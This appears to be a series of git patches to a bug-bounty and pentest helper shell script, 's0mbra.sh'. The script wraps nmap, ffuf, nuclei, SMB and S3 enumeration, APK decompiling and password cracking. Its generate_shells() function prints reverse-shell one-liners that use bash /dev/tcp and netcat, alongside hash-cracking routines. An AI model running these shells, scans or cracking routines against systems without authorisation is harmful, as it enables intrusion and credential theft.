{ # ZIP password cracking with rockyou.txt rockyou_zip() { - echo -e "$BLUE[+] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." + echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt - echo -e "$BLUE[+] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" + echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt } # converts id_rsa to JTR format for cracking SSH key ssh_to_john() { - echo -e "$BLUE[+] Converting SSH id_rsa key to JTR format to crack it$CLR" + echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JTR format to crack it$CLR" python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash - echo -e "$BLUE[+] We have a hash.\n" - echo -e "$BLUE[+] Let's now crack it!" + echo -e "$BLUE[s0mbra] We have a hash.\n" + echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash } # runs unminify on $1 JavaScript file um() { FILENAME=$1 - echo -e "$BLUE[+] Unminify $FILENAME...$CLR" + echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" unminify $FILENAME > unmimified.js - echo -e "\n\n[+]Done." + echo -e "\n\n[s0mbra]Done." } # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep snyktest() { - echo -e "$BLUE[+] Starting snyk test in current directory...$CLR" + echo -e "$BLUE[s0mbra] Starting snyk test in current directory...$CLR" snyk test - echo -e "\n\n[+]Done." + echo -e "$BLUE[s0mbra] Done." } # enumerates SMB shares on [IP] - port 445 has to be open @@ -131,16 +131,16 @@ smb_enum() { password="$3" fi - echo -e "$BLUE[+] Enumerating SMB shares with nmap on $1...$CLR" + echo -e "$BLUE[s0mbra] Enumerating SMB shares with nmap on $1...$CLR" nmap -Pn -p445 --script=smb-enum-shares.nse,smb-enum-users.nse "$1" - echo -e "$YELLOW\n[+] smbmap -u $username -p $password against\t\t -> $1...$CLR" + echo -e "$YELLOW\n[s0mbra] smbmap -u $username -p $password against\t\t -> $1...$CLR" smbmap -H "$1" -u "$username" -p "$password" 2>&1 | tee __disks for d in $(grep 'READ' __disks | cut -d' ' -f 1); do - echo -e "$YELLOW\n[+] content of $d directory saved to $1__shares_listings $CLR" + echo -e "$YELLOW\n[s0mbra] content of $d directory saved to $1__shares_listings $CLR" smbmap -H "$IP" -u "$username" -p "$password" -R "$d" >> "$1"__shares_listings done rm -f __disks - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # download file from SMB share @@ -157,52 +157,52 @@ smb_get_file() { password="$3" fi - echo -e "$BLUE[+] Downloading file $4 from $1...$CLR" + echo -e "$BLUE[s0mbra] Downloading file $4 from $1...$CLR" echo -e "$GREEN" smbmap -H "$1" -u "$2" -p "$3" --download "$4" echo -e "$CLR" - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # mounts SMB share at ./mnt/shares smb_mount() { - echo -e "$BLUE[+] Mounting SMB $2 share from $1 at ./mnt/shares...$CLR" + echo -e "$BLUE[s0mbra] Mounting SMB $2 share from $1 at ./mnt/shares...$CLR" mkdir -p mnt/shares echo "//$3@$1/$2" mount_smbfs "//$3@$1/$2" ./mnt/shares - echo -e "$YELLOW\n[+] Locally available shares:\n.$CLR" + echo -e "$YELLOW\n[s0mbra] Locally available shares:\n.$CLR" ls -l ./mnt/shares - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # umounts from ./mnt/shares and delete it smb_umount() { - echo -e "$BLUE[+] Unmounting SMB share(s) from ./mnt/shares...$CLR" + echo -e "$BLUE[s0mbra] Unmounting SMB share(s) from ./mnt/shares...$CLR" umount ./mnt/shares rm -rf ./mnt - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available # we can enumerate nfs shares available: nfs_enum() { - echo -e "$BLUE[+] Enumerating nfs shares (TCP 2049) on $1...$CLR" + echo -e "$BLUE[s0mbra] Enumerating nfs shares (TCP 2049) on $1...$CLR" nmap -Pn -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount "$1" - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # executes httpx on the list of host(s) htpx() { - echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" + echo -e "$BLUE[s0mbra] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # automated recon: subfinder + nmap + httpx + ffuf | on domain recon() { TMPDIR=$(pwd) START_TIME=$(date) - echo -e "$BLUE[+] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" + echo -e "$BLUE[s0mbra] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" @@ -227,13 +227,13 @@ recon() { done END_TIME=$(date) - echo -e "\n$GREEN[+] Finished!" + echo -e "\n$GREEN[s0mbra] Finished!" echo -e "\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e " subfinder output file -> $GRAY $TMPDIR/s0mbra_subfinder.tmp$GREEN" echo -e " httpx output file -> $GRAY $TMPDIR/s0mbra_httpx.tmp$GREEN" echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" - echo -e "\n$BLUE[+] Done.$CLR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" } # does recon on URL: nmap, ffuf, nuclei, other smaller tools, ...? @@ -252,7 +252,7 @@ ransack() { TMPDIR=$(pwd)/s0mbra START_TIME=$(date) - echo -e "$BLUE[+] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME : nmap + ffuf + nuclei...$CLR" + echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME : nmap + ffuf + nuclei...$CLR" # onaws echo -e "\n$GREEN--> onaws? $CLR\n" @@ -274,42 +274,42 @@ ransack() { nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log END_TIME=$(date) - echo -e "\n$GREEN[+] Finished!" + echo -e "\n$GREEN[s0mbra] Finished!" echo -e "\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "\n$BLUE[+] Done.$CLR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" } kiterunner() { HOSTNAME=$1 - echo -e "$BLUE[+] Running kiterunner using apis file...$CLR\n" + echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" kr scan apis -w $DICT_HOME/routes-large.kite -x 20 -j 100 --fail-status-codes 400,401,404,403,501,502,426,411 - echo -e "\n$BLUE[+] Done.$CLR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" } # Python Static Source Code analysis pysast() { DIR_NAME=$1 - echo -e "$BLUE[+] Running pyflakes against $DIR_NAME $CLR\n" + echo -e "$BLUE[s0mbra] Running pyflakes against $DIR_NAME $CLR\n" python3 -m pyflakes $DIR_NAME - echo -e "$BLUE[+] Running mypy against $DIR_NAME $CLR\n" + echo -e "$BLUE[s0mbra] Running mypy against $DIR_NAME $CLR\n" python3 -m mypy $DIR_NAME - echo -e "\n$BLUE[+] Running bandit against $DIR_NAME $CLR\n" + echo -e "\n$BLUE[s0mbra] Running bandit against $DIR_NAME $CLR\n" python3 -m bandit -r $DIR_NAME - echo -e "\n$BLUE[+] Running vulture against $DIR_NAME $CLR\n" + echo -e "\n$BLUE[s0mbra] Running vulture against $DIR_NAME $CLR\n" python3 -m vulture $DIR_NAME - echo -e "\n$BLUE[+] Done.$CLR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" } # checking AWS S3 bucket s3() { - echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" + echo -e "$BLUE[s0mbra] Checking AWS S3 $1 bucket$CLR" aws s3 ls "s3://$1" --no-sign-request 2> /dev/null if [[ "$?" == 0 ]]; then echo -e "\n$GREEN+ content of the bucket can be listed!$CLR" @@ -356,12 +356,12 @@ s3() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- nope, can't grant control with --grant-full-control ... :/$CLR" fi - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } s3go() { clear - echo -e "$BLUE[+] Getting $2 from $1 bucket...$CLR" + echo -e "$BLUE[s0mbra] Getting $2 from $1 bucket...$CLR" aws s3api get-object-acl --bucket "$1" --key "$2" 2> /dev/null if [[ "$?" == 0 ]]; then @@ -380,25 +380,25 @@ s3go() { dex_to_jar() { clear - echo -e "$BLUE[+] Exporting $1 into .jar...$CLR" + echo -e "$BLUE[s0mbra] Exporting $1 into .jar...$CLR" d2j-dex2jar --force $1 } decompile_jar() { clear - echo -e "$BLUE[+] Opening $1 in JD-Gui...$CLR" + echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } jadx() { clear - echo -e "$BLUE[+] Opening $1 in JADX...$CLR" + echo -e "$BLUE[s0mbra] Opening $1 in JADX...$CLR" /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } apk() { clear - echo -e "$BLUE[+] OK, let's see this APK...$CLR" + echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" unzip -d unzipped $1 if [[ "$?" == 0 ]]; then echo -e "\n$GREEN+ Unizpped, now run apktool on it...$CLR" @@ -410,14 +410,14 @@ apk() { abe() { clear - echo -e "$BLUE[+] Extracting $1.ab backup into $1.tar...$CLR" + echo -e "$BLUE[s0mbra] Extracting $1.ab backup into $1.tar...$CLR" java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1.ab $1.tar if [[ "$?" == 0 ]]; then - echo -e "\n$GREEN[+] Success! $1.ab unpacked and $1.tar was created..." - echo -e "[+] Let's untar some files, shall we?$CLR" + echo -e "\n$GREEN[s0mbra] Success! $1.ab unpacked and $1.tar was created..." + echo -e "[s0mbra] Let's untar some files, shall we?$CLR" rm -rf $1_extracted && mkdir ./$1_extracted tar -xf $1.tar -C $1_extracted - echo -e "\n$GREEN[+] tar extracted, folder(s) created:$CLR" + echo -e "\n$GREEN[s0mbra] tar extracted, folder(s) created:$CLR" ls -l $1_extracted elif [[ "$?" != 0 ]]; then echo -e "\n$RED- Damn... :/$CLR" @@ -429,7 +429,7 @@ fu() { # adjust here to add/remove HTTP response status code(s) to match on: HTTP_RESP_CODES=200,206,301,302,403,500 - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then @@ -443,14 +443,14 @@ fu() { else ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi - echo -e "$BLUE\n[+] Done! $CLR" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } generate_shells() { clear port=$2 - echo -e "$BLUE[+] OK, here are your shellz...\n$CLR" + echo -e "$BLUE[s0mbra] OK, here are your shellz...\n$CLR" echo -e " $CLR[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" echo -e " $CLR[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" @@ -481,7 +481,7 @@ generate_shells() { } pwn() { - echo -e "$BLUE[+] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" + echo -e "$BLUE[s0mbra] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" } cmd=$1 From eb4bcf350b2604151f5062c179c9e1a73b13a808 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 5 Jan 2022 10:21:57 +0000 Subject: [PATCH 076/289] [s0mbra] lookaround() to quickly figure out new program scope --- s0mbra.sh | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index dca12dc..602d71b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -198,6 +198,23 @@ htpx() { echo -e "$BLUE[s0mbra] Done." } +# quick subdomain enum + available HTTP server(s) - to find out if a program is +# actually worth to look into :D +lookaround() { + TMPDIR=$(pwd) + echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" + + # subfinder + echo -e "\n$GREEN--> subfinder$CLR\n" + subfinder -nW -all -v -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + # automated recon: subfinder + nmap + httpx + ffuf | on domain recon() { TMPDIR=$(pwd) @@ -497,6 +514,9 @@ case "$cmd" in htpx) htpx "$2" ;; + lookaround) + lookaround "$2" + ;; recon) recon "$2" ;; @@ -581,6 +601,7 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" + echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From 42ae695af5f18dff4a4e51cf4ae1925a73b27d68 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 9 Jan 2022 11:20:49 +0000 Subject: [PATCH 077/289] [s0mbra] Adjust nmap settigns --- s0mbra.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 602d71b..d22ee3a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -29,13 +29,13 @@ set_ip() { full_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[s0mbra] Running full nmap scan against all ports on $1 ...$CLR" - ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap -p- --min-rate=1000 -T4 $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else echo -e "$BLUE[s0mbra] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e " ...search open ports...$CLR" - ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap --top-ports "$2" --min-rate=1000 -T4 $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi @@ -47,10 +47,10 @@ full_nmap_scan() { quick_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[s0mbra] Running nmap scan against all ports on $1 ...$CYAN" - nmap -p- $1 + nmap -p- --min-rate=1000 -T4 $1 else echo -e "$BLUE[s0mbra] Running nmap scan against top $2 ports on $1 ...$CYAN" - nmap --top-ports $2 $1 + nmap --top-ports $2 --min-rate=1000 -T4 $1 fi echo -e "$BLUE\n[s0mbra] Done! $CLR" @@ -227,7 +227,7 @@ recon() { # nmap echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" - nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml + nmap --min-rate=1000 -T4 -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml # httpx echo -e "\n$GREEN--> httpx$CLR\n" From 1c07094c3854d5fa35d5d7bc80ed45cba2ffd8de Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 10 Jan 2022 13:02:56 +0000 Subject: [PATCH 078/289] [s0mbra] Added vhosts enumeration to ransack() --- s0mbra.sh | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index d22ee3a..8301a97 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -233,7 +233,7 @@ recon() { echo -e "\n$GREEN--> httpx$CLR\n" httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp - # ffuf + # ffuf - starter + lowercase enumeration echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); do @@ -283,6 +283,11 @@ ransack() { echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + # vhosts enumeration + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + # ffuf ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log From e75319d52cf09c8542f921f95123388a787dfdd0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 14 Jan 2022 13:33:15 +0000 Subject: [PATCH 079/289] [s0mbra] um() improvements --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 8301a97..7b32445 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -105,8 +105,8 @@ ssh_to_john() { um() { FILENAME=$1 echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" - unminify $FILENAME > unmimified.js - echo -e "\n\n[s0mbra]Done." + unminify $FILENAME > unmimified.$FILENAME + echo -e "$BLUE[s0mbra] Done." } # static code analysis of npm module installed in ~/node_modules From eb22fec6a37fbd930de2c31583d3dd780e359577 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 15 Jan 2022 19:33:42 +0000 Subject: [PATCH 080/289] [s0mbra] Output improvements --- s0mbra.sh | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7b32445..b2f2c54 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -70,6 +70,7 @@ http() { PORT=$1 fi python3 -m http.server $PORT + echo -e "\n$BLUE[s0mbra] Done." } # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] @@ -82,6 +83,7 @@ rockyou_john() { "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi cat "$HACKING_HOME"/tools/jtr/run/john.pot + echo -e "\n$BLUE[s0mbra] Done." } # ZIP password cracking with rockyou.txt @@ -90,6 +92,7 @@ rockyou_zip() { "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt + echo -e "\n$BLUE[s0mbra] Done." } # converts id_rsa to JTR format for cracking SSH key @@ -99,6 +102,7 @@ ssh_to_john() { echo -e "$BLUE[s0mbra] We have a hash.\n" echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash + echo -e "\n$BLUE[s0mbra] Done." } # runs unminify on $1 JavaScript file @@ -106,7 +110,7 @@ um() { FILENAME=$1 echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" unminify $FILENAME > unmimified.$FILENAME - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # static code analysis of npm module installed in ~/node_modules @@ -114,7 +118,7 @@ um() { snyktest() { echo -e "$BLUE[s0mbra] Starting snyk test in current directory...$CLR" snyk test - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # enumerates SMB shares on [IP] - port 445 has to be open @@ -140,7 +144,7 @@ smb_enum() { smbmap -H "$IP" -u "$username" -p "$password" -R "$d" >> "$1"__shares_listings done rm -f __disks - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # download file from SMB share @@ -161,7 +165,7 @@ smb_get_file() { echo -e "$GREEN" smbmap -H "$1" -u "$2" -p "$3" --download "$4" echo -e "$CLR" - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # mounts SMB share at ./mnt/shares @@ -172,7 +176,7 @@ smb_mount() { mount_smbfs "//$3@$1/$2" ./mnt/shares echo -e "$YELLOW\n[s0mbra] Locally available shares:\n.$CLR" ls -l ./mnt/shares - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # umounts from ./mnt/shares and delete it @@ -180,7 +184,7 @@ smb_umount() { echo -e "$BLUE[s0mbra] Unmounting SMB share(s) from ./mnt/shares...$CLR" umount ./mnt/shares rm -rf ./mnt - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available @@ -188,14 +192,14 @@ smb_umount() { nfs_enum() { echo -e "$BLUE[s0mbra] Enumerating nfs shares (TCP 2049) on $1...$CLR" nmap -Pn -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount "$1" - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # executes httpx on the list of host(s) htpx() { echo -e "$BLUE[s0mbra] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # quick subdomain enum + available HTTP server(s) - to find out if a program is @@ -378,7 +382,7 @@ s3() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- nope, can't grant control with --grant-full-control ... :/$CLR" fi - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } s3go() { From efbd41ee13d87affa9a2431077cf3b019cd5e94e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 16 Jan 2022 09:34:38 +0000 Subject: [PATCH 081/289] [s0mbra] added wrapper for creds (defcreds) --- s0mbra.sh | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index b2f2c54..60b7c92 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -503,13 +503,21 @@ generate_shells() { echo -e "\033[36m[netcat]\033[0m /bin/sh | nc $1 $port" echo -e "\033[36m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" echo -e "\033[36m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" - echo -e "$NEWLINE" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } pwn() { echo -e "$BLUE[s0mbra] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" } +defcreds() { + clear + echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" + creds search $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + + cmd=$1 clear @@ -556,6 +564,9 @@ case "$cmd" in ssh_to_john) ssh_to_john "$2" ;; + defcreds) + defcreds "$2" + ;; um) um "$2" ;; @@ -633,6 +644,7 @@ case "$cmd" in echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" + echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t\t -> default credentials for DEVICE or SYSTEM" echo -e "$BLUE:: SAST ::$CLR" echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" From ae0a58e0aead287fb1670607aeac6653db701dfa Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 16 Jan 2022 15:11:20 +0000 Subject: [PATCH 082/289] test commit --- s0mbra.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 60b7c92..30ac083 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -517,7 +517,6 @@ defcreds() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } - cmd=$1 clear From a63f42ebfcf8e957e31607498ac2a21df7f72ab6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 16 Jan 2022 20:11:20 +0000 Subject: [PATCH 083/289] [s0mbra] Output fixes --- s0mbra.sh | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 30ac083..2edbd38 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -8,7 +8,7 @@ HACKING_HOME="/Users/bl4de/hacking" GRAY='\033[1;30m' -RED=' $CLR' +RED='\033[1;31m' GREEN='\033[1;32m' LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' @@ -402,12 +402,14 @@ s3go() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- can't get $2 :/$CLR" fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" } dex_to_jar() { clear echo -e "$BLUE[s0mbra] Exporting $1 into .jar...$CLR" - d2j-dex2jar --force $1 + d2j-dex2jar --force $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" } decompile_jar() { @@ -432,6 +434,7 @@ apk() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- unzipping .apk failed :/... :/$CLR" fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" } abe() { @@ -448,6 +451,7 @@ abe() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- Damn... :/$CLR" fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" } fu() { @@ -506,10 +510,6 @@ generate_shells() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -pwn() { - echo -e "$BLUE[s0mbra] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" -} - defcreds() { clear echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" @@ -521,9 +521,6 @@ cmd=$1 clear case "$cmd" in - pwn) - pwn "$2" - ;; set_ip) set_ip "$2" ;; From ed74eb8773c4128e29e02188f5a2e2300eac20b6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 17 Jan 2022 